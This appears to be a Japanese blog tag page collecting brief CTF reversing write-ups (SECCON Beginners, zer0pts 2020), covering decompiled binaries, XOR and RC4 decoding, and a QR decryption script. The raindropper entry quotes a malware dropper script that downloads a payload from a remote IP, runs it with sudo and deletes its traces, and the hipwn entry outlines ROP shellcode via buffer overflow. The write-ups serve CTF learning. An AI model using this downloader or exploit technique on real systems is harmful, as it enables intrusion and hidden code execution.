メインコンテンツまでスキップ
非公開のページ
このページは非公開です。 検索対象外となり、このページのリンクに直接アクセスできるユーザーのみに公開されます。

「reversing」タグの記事が16件件あります

全てのタグを見る

[SECCON Beginners CTF 2020] ghost

metarin

A program written by a ghost 👻

  • chall.gs
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
  • output.txt
3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094

解説

GhostScript問 gsで何回か動かしてみると前から1文字ずつ総当たりで入力を決定できそうなのでやった

[SECCON Beginners CTF 2020] sneaky

metarin

Rumor has it that there's a hidden easter egg which can be activated by getting high score in this game......

解説

static link で stripped な最高にタチの悪いバイナリです Ghidraをお使いのかたはpwn問で配っているlibcとCorrelatorで突き合わせるとだいぶマシになるのでお試しあれ

渡されたバイナリを実行するとスネークゲームが始まります このゲームで高得点を取ればflagがもらえるようです

[SECCON Beginners CTF 2020] siblangs

metarin

Well, they look so similar... siblangs.apk

解説

apkファイルはただのzipファイルなのでとりあえずunzipします

ctf4b{で展開したフォルダを検索に掛けるとassets/index.android.bundleが見つかります どうやらReact Native製のアプリのようです さっそく周辺の処理を見てみましょう

function v() {
var t;
(0, l.default)(this, v);
for (var o = arguments.length, n = new Array(o), c = 0; c < o; c++) n[c] = arguments[c];
return (t = y.call.apply(y, [this].concat(n))).state = {
flagVal: "ctf4b{",
xored: [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27]
}, t.handleFlagChange = function(o) {
t.setState({
flagVal: o
})
}, t.onPressValidateFirstHalf = function() {
if ("ios" === h.Platform.OS) {
for (var o = "AKeyFor" + h.Platform.OS + "10.3", l = t.state.flagVal, n = 0; n < t.state.xored.length; n++)
if (t.state.xored[n] !== parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10)) return void h.Alert.alert("Validation A Failed", "Try again...");
h.Alert.alert("Validation A Succeeded", "Great! Have you checked the other one?")
} else h.Alert.alert("Sorry!", "Run this app on iOS to validate! Or you can try the other one :)")
}, t.onPressValidateLastHalf = function() {
"android" === h.Platform.OS ? p.default.validate(t.state.flagVal, function(t) {
t ? h.Alert.alert("Validation B Succeeded", "Great! Have you checked the other one?") : h.Alert.alert("Validation B Failed", "Learn once, write anywhere ... anywhere?")
}) : h.Alert.alert("Sorry!", "Run this app on Android to validate! Or you can try the other one :)")
}, t
}

とても怪しげなxordという数列と"AKeyFor" + h.Platform.OS + "10.3"を鍵にしてxorを掛けてることが分かります エラー表示からiOS上で実行することを想定してるみたいなのでh.Platform.OSにはiosが入り鍵はAkeyForios10.3となります では復号しましょう

[SECCON Beginners CTF 2021] firmware

metarin

ctf4b networks社のページからファームウェアをダウンロードしてきました。

このファイルの中からパスワードを探してください。

問題

firmware.binというファイルが配布されます

解説

配布されたfirmware.bin\xffELFで検索すると0x161e2に該当するアドレスがあります そこから下にデータを見ていくと0x1943dにff d8 ff e0 e0 00 10 4a 46 49 46とJPEGのヘッダっぽいデータがあります この0x161e2~0x1943d区間を取り出してGhidraに投げたところarmのアセンブリとして読むことができました

[SECCON Beginners CTF 2021] only_read

metarin

バイナリ読めなきゃやばいなり〜

解説

Ghidraで開くと入力の各文字をflagと比較していることが分かります 1字ずつ書き出していくとつらい気持ちになりそうだったのでangrで殴りました

[SECCON Beginners CTF 2021] please_not_trace_me

metarin

フラグを復号してくれるのは良いけど,表示してくれない!!

解説

とりあえずGhidraで開きます

void main(int argc,char **argv,char **envp)

{
int local_54;
int local_50;
char *local_48;
long local_40;
long local_38;
long local_30;

megaInit();
local_30 = 9;
_global_argv = argv;
_global_argc = argc;
_global_envp = envp;
do {
switch(local_30) {
case 0:
local_50 = 2;
local_30 = 0xb;
break;
case 2:
local_30 = _1_main_flag_func_0(local_38,-1,0x10,5);
break;
case 5:
if (local_50 == 6) {
local_30 = 0x12;
}
else {
local_30 = 8;
}
break;
case 6:
if (local_40 == 0) {
local_30 = 0;
}
else {
local_30 = 0xb;
}
break;
case 8:
fwrite("prease not trace me...\n",1,0x17,stderr);
/* WARNING: Subroutine does not return */
exit(1);
case 9:
local_54 = 0;
local_30 = 10;
break;
case 10:
switch(local_54) {
case 0:
local_30 = 0x16;
break;
case 1:
local_30 = 0xf;
break;
case 2:
local_30 = 0x13;
break;
case 3:
local_30 = 0x14;
break;
case 4:
local_30 = 0x11;
break;
case 5:
local_30 = 0x15;
break;
default:
local_30 = 0x12;
}
break;
case 0xb:
local_38 = ptrace(PTRACE_TRACEME,0,1,0);
local_30 = 2;
break;
case 0xf:
local_48 = (char *)malloc(0x10);
local_30 = 0x12;
break;
case 0x10:
local_50 = local_50 * 3;
local_30 = 5;
break;
case 0x11:
puts("flag decrypted. bye.");
local_30 = 0x12;
break;
case 0x12:
local_54 = local_54 + 1;
local_30 = 10;
break;
case 0x13:
generate_key(local_48);
local_30 = 0x12;
break;
case 0x14:
rc4(e,local_48);
local_30 = 0x12;
break;
case 0x15:
/* WARNING: Subroutine does not return */
exit(0);
case 0x16:
local_50 = 0;
local_40 = ptrace(PTRACE_TRACEME,0,1,0);
local_30 = 6;
}
} while( true );
}

rc4でフラグを復号したあと、そのアドレスをそのまま破棄しているようです rc4の後に実行フローの制御に用いている変数の代入処理があるので、かわりに復号した値を出力する処理にすりかえてしまえばflagが得られそうです

[zer0pts CTF 2020] hipwn

Hi, all pwners over the world!

解説

main関数に露骨なgetsによるバッファーオーバーフローがある NXbitが有効なのでROPによってシェルコードを構築する

シェルコードをつくる

シェルコード内では大概以下の3つの処理が行われる

  1. /bin/shを用意する
  2. レジスタの状態を整える
  3. syscall

syscallはraxに入っている値に応じたシステムコールを呼び出す処理 ファイルを実行するシステムコールexecveの番号は59なのでraxは59にする

[zer0pts CTF 2020] Hobbit

metarin

The hobbit is small and clever.

解説

渡されたqemu imageのrootfs.cpioを解凍し、/rootを見てみると、カーネルモジュールと未知のファイル(chall.hbt)がある

カーネルモジュールのほうを解析してみると、新たな実行ファイル形式を追加している どうやらその追加された形式がhbtファイルらしい

そのままhbtファイルの仕様を調べたかったが、真面目に読む元気がなかったのでqemuのメモリをダンプしてそれらしいデータを探すことにした ダンプしたメモリを、chall.hbtの失敗時の出力Wrong!で検索してみるとその後ろに怪しげなデータ列が見つかる

[zer0pts CTF 2020] Locked Kitkat

metarin

We've extracted the internal disk from the Android device of the suspect. Can you find the pattern to unlock the device? Please submit the correct pattern here.

解説

渡されたファイルはandroidの/data以下のイメージファイル パターンロックの内容は/data/system/gesture.keyに記録されている そして、その gesture.key は https://github.com/MGF15/P-Decode のツールによって容易にクラックできる

[zer0pts CTF 2020] QR Puzzle

metarin

This puzzle is a puzzling puzzle.

解説

main関数はこんなかんじ

ulong main(int argc,char **argv)
{
long *plVar1;
int *keys;
long in_FS_OFFSET;
int local_24;
long local_20;

local_20 = *(long *)(in_FS_OFFSET + 0x28);
if (argc < 4) {
__printf_chk(1,"Usage: %s [qr] [key] [output]\n",*argv);
}
else {
puts("[+] Loading QR...");
plVar1 = (long *)LoadQr(&local_24,argv[1]); // fun_400980
puts("[+] Done!");
puts("[+] Loading key...");
keys = LoadKey(argv[2]); // fun_400af0
puts("[+] Done!");
puts("[+] Encrypting...");
Encrypt((long)plVar1,keys); // fun_400c35
puts("[+] Done!");
puts("[+] Saving encrypted QR...");
Output(plVar1,local_24,argv[3]); // 400ca0
puts("[+] Done!");
}
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return (ulong)(argc < 4);
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}

LoadQrとLoadKeyはだいたい察しがつくので、Encryptを見る

void Encrypt(long param_1,int *param_2)
{
long *y_o;
long *y_p;
int d;
int y;
long x_o;
int x;
long x_p;
int iVar1;

do {
if (param_2 == (int *)0x0) {
return;
}
d = param_2[2];
x = *param_2;
x_o = (long)x;
y = param_2[1];
iVar1 = y;
if (d == 1) {
x = x + 1;
}
else {
if (d < 2) {
if (d == 0) {
x = x + -1;
}
else {
LAB_00400c70:
iVar1 = y;
}
}
else {
if (d == 2) {
iVar1 = y + -1;
}
else {
iVar1 = y + 1;
if (d != 3) goto LAB_00400c70;
}
}
}
y_o = (long *)(param_1 + (long)y * 8);
x_p = (long)x;
y_p = (long *)(param_1 + (long)iVar1 * 8);
*(char *)(*y_o + x_o) = *(char *)(*y_o + x_o) + *(char *)(*y_p + x_p);
*(char *)(*y_p + x_p) = *(char *)(*y_o + x_o) - *(char *)(*y_p + x_p);
*(char *)(x_o + *y_o) = *(char *)(x_o + *y_o) - *(char *)(*y_p + x_p);
param_2 = *(int **)(param_2 + 4);
} while( true );
}

あとはこの関数の逆の処理を書けばいいだけ

#!/usr/bin/env python3
from PIL import Image

key = []
qr = []

def load():
keysrc = open("./key", 'r')
qrsrc = open("./encrypted.qr", 'r')

l = keysrc.readline()
while l:
try:
d, p = l.split('#')
except:
l = keysrc.readline()
continue
p = eval(p)
d = int(d)
key.append((d, p))
l = keysrc.readline()

buf = []
c = qrsrc.read(1)
while c:
if c == '1':
buf.append(1)
elif c == '0':
buf.append(0)
else:
qr.append(buf)
buf = []
c = qrsrc.read(1)

def decrypt():
for (d, (x, y)) in key:
xo = x
yo = y
if d == 0:
x -= 1
elif d == 1:
x += 1
elif d == 2:
y -= 1
elif d == 3:
y += 1

qr[yo][xo] = qr[yo][xo] + qr[y][x]
qr[y][x] = qr[yo][xo] - qr[y][x]
qr[yo][xo] = qr[yo][xo] - qr[y][x]

def export():
img = Image.new("RGB", (25, 25), (255, 255, 255))

for i in range(25):
for j in range(25):
if qr[i][j] == 1:
img.putpixel((i, j), (0, 0, 0))
elif qr[i][j] == 0:
img.putpixel((i, j), (255, 255, 255))
else:
for i in qr:
print(i)
exit()

img.save("out.png")

if __name__ == "__main__":
load()
decrypt()
export()

出力されたQRコードをデコードするとflag

ddecode

[zer0pts CTF 2020] raindropper

When you're infected with a ransomware: Don't send money. Just break the cipher by yourself.

*** The attached file may harm your computer. DO NOT RUN IT on your host machine. ***

解説

渡されたバイナリはgo言語製でした この時点でバイトコードを読むのは諦めてstraceで処理を追うことにしました

23:00:21.818592 getpeername(5, {sa_family=AF_INET, sin_port=htons(8033), sin_addr=inet_addr("13.230.161.88")}, [112->16]) = 0
...
23:00:21.819688 write(5, "GET /raindrop HTTP/1.1\r\nHost: 13"..., 107) = 107
...

どうやら http://13.230.161.88:8033/raindrop をダウンロードしているようです 落としてきたraindropを見てみると

#!/bin/bash
if [ "$(whoami)" != "ImSureItsOnVM" ]; then
echo "****** zer0pts CTF 2020 ******"
echo "* *"
echo "* You're not our target! *"
echo "* *"
echo "******************************"
else
wget -nv -O /tmp/.malchan http://13.230.161.88:8033/malchan 1> /dev/null 2> /dev/null
cat /tmp/.malchan | base64 -d > /tmp/.malchan.bin 2> /dev/null
chmod +x /tmp/.malchan.bin 2> /dev/null
sudo /tmp/.malchan.bin 2> /dev/null
rm -f /tmp/.malchan.bin 2> /dev/null
rm -f /tmp/.malchan 2> /dev/null
rm -f /tmp/.raindrop 2> /dev/null
fi

今度は http://13.230.161.88:8033/malchan をダウンロードし、base64デコードしているようです

[zer0pts CTF 2020] vmlog

metarin

I wrote my vm and its program. Can you guess the source code and input?

解説

vm上で動かされたプログラムは、Brainfuckの仕様を拡張したもので書かれていたようです そのプログラムをよく見ると1文字の入力につき1回メモリをダンプしていることが分かります また、ログの行数から入力された文字数は34文字だと分かります

これらのことから

  1. 現在の状態を保存
  2. 1文字入力
  3. 入力した文字でメモリダンプが起こるまで処理
  4. メモリダンプがログと一致していれば入力した文字を保存、そうでなければ入力前に保存しておいた状態を読み込んで別の文字で試行